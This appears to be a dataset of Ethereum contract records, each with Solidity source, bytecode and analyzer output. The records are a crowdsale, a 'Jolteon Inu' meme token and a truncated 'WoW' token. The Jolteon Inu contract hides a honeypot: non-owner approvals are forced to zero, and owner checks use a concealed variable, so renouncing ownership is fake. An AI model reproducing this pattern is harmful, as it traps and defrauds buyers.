/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoTokens.sol
/**
* @title Contracts that should not own Tokens
* @author Remco Bloemen <remco@2π.com>
* @dev This blocks incoming ERC223 tokens to prevent accidental loss of tokens.
* Should tokens (any ERC20Basic compatible) end up in the contract, it allows the
* owner to reclaim the tokens.
*/
contract HasNoTokens is CanReclaimToken {
/**
* @dev Reject all ERC223 compatible tokens
* @param from_ address The address that is transferring the tokens
* @param value_ uint256 the amount of the specified token
* @param data_ Bytes The data passed from the caller.
*/
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
// File: contracts/CubikCrowdsale.sol
contract CubikCrowdsale is CappedCrowdsale, AllowanceCrowdsale, HasNoTokens {
constructor (uint256 _rate, address _wallet, ERC20 _token, uint256 _cap) public Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) AllowanceCrowdsale(_wallet) {
}
function setRate(uint256 _rate) external onlyOwner {
rate = _rate;
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806317ffc320146100e65780632c4e722e1461012957806334fcf43714610154578063355274ea146101815780634042b66f146101ac5780634f935945146101d7578063521eb27314610206578063715018a61461025d5780638da5cb5b14610274578063bf583903146102cb578063bff99c6c146102f6578063c0ee0b8a1461034d578063ec8ac4d8146103b2578063f2fde38b146103e8578063fc0c546a1461042b575b6100e433610482565b005b3480156100f257600080fd5b50610127600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610550565b005b34801561013557600080fd5b5061013e6106d7565b6040518082815260200191505060405180910390f35b34801561016057600080fd5b5061017f600480360381019080803590602001909291905050506106dd565b005b34801561018d57600080fd5b50610196610743565b6040518082815260200191505060405180910390f35b3480156101b857600080fd5b506101c1610749565b6040518082815260200191505060405180910390f35b3480156101e357600080fd5b506101ec61074f565b604051808215151515815260200191505060405180910390f35b34801561021257600080fd5b5061021b61075e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561026957600080fd5b50610272610784565b005b34801561028057600080fd5b50610289610889565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d757600080fd5b506102e06108af565b6040518082815260200191505060405180910390f35b34801561030257600080fd5b5061030b610a03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035957600080fd5b506103b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001919091929391929390505050610a29565b005b6103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610482565b005b3480156103f457600080fd5b50610429600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2e565b005b34801561043757600080fd5b50610440610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506104928383610abb565b61049b82610aee565b90506104b282600354610b0c90919063ffffffff16565b6003819055506104c28382610b28565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36105398383610b36565b610541610b3a565b61054b8383610ba5565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105ae57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561064957600080fd5b505af115801561065d573d6000803e3d6000fd5b505050506040513d602081101561067357600080fd5b810190808051906020019092919050505090506106d3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16610ba99092919063ffffffff16565b5050565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561073957600080fd5b8060028190555050565b60045481565b60035481565b60006004546003541015905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107e057600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156109c357600080fd5b505af11580156109d7573d6000803e3d6000fd5b505050506040513d60208110156109ed57600080fd5b8101908080519060200190929190505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8a57600080fd5b610a9381610c97565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ac58282610d93565b600454610add82600354610b0c90919063ffffffff16565b11151515610aea57600080fd5b5050565b6000610b0560025483610de390919063ffffffff16565b9050919050565b60008183019050828110151515610b1f57fe5b80905092915050565b610b328282610e1b565b5050565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610ba2573d6000803e3d6000fd5b50565b5050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c4c57600080fd5b505af1158015610c60573d6000803e3d6000fd5b505050506040513d6020811015610c7657600080fd5b81019080805190602001909291905050501515610c9257600080fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610cd357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610dcf57600080fd5b60008114151515610ddf57600080fd5b5050565b600080831415610df65760009050610e15565b8183029050818382811515610e0757fe5b04141515610e1157fe5b8090505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610f3557600080fd5b505af1158015610f49573d6000803e3d6000fd5b505050506040513d6020811015610f5f57600080fd5b81019080805190602001909291905050505050505600a165627a7a72305820494801a4e6da3c97c981e0c0ce2e2dd6a6fccf13538ad8c478857267dfce1c780029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,980 |
0xdfc9bd76c574e2cf7994c3ca5c2e3b85ac6bdc6f
|
/*
丿ㄖ㇄セ🝗ㄖ𝓝 工𝓝ㄩ ■ 㠪尺⼕-己0 Ꮆ㠪爪
Jolteon Inu - known as the most cutest and strongest Pokémon Dog you will ever see on the ETH network.
📌Tokenomics:
2% - Reward for holders
3% - Goes to liquidity pool
5% - Marketing & development funds
0.5% Max tx at launch
2% Max wallet
https://t.me/JolteonInu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract JolteonInuERC is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**12 * 10**18;
string private _name = ' Jolteon Inu ';
string private _symbol = 'JINU ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bfaa03e0ea82633aa2c27cd4b98c44ad9b9214eb096694bf5b93b0ba1645431164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,981 |
0xf8ea7b15042dbc7ffbcf46171df0d6ad70ee45f5
|
/*
WoW Token From Elon's Tweet
https://twitter.com/elonmusk/status/1468336225689948164
TG https://t.me/WoWERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WoW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "WoWERC";
string private constant _symbol = "WOW";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x99E9cb74fC6C3019fB9b690D8667BE69cd69F14F);
_feeAddrWallet2 = payable(0x99E9cb74fC6C3019fB9b690D8667BE69cd69F14F);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
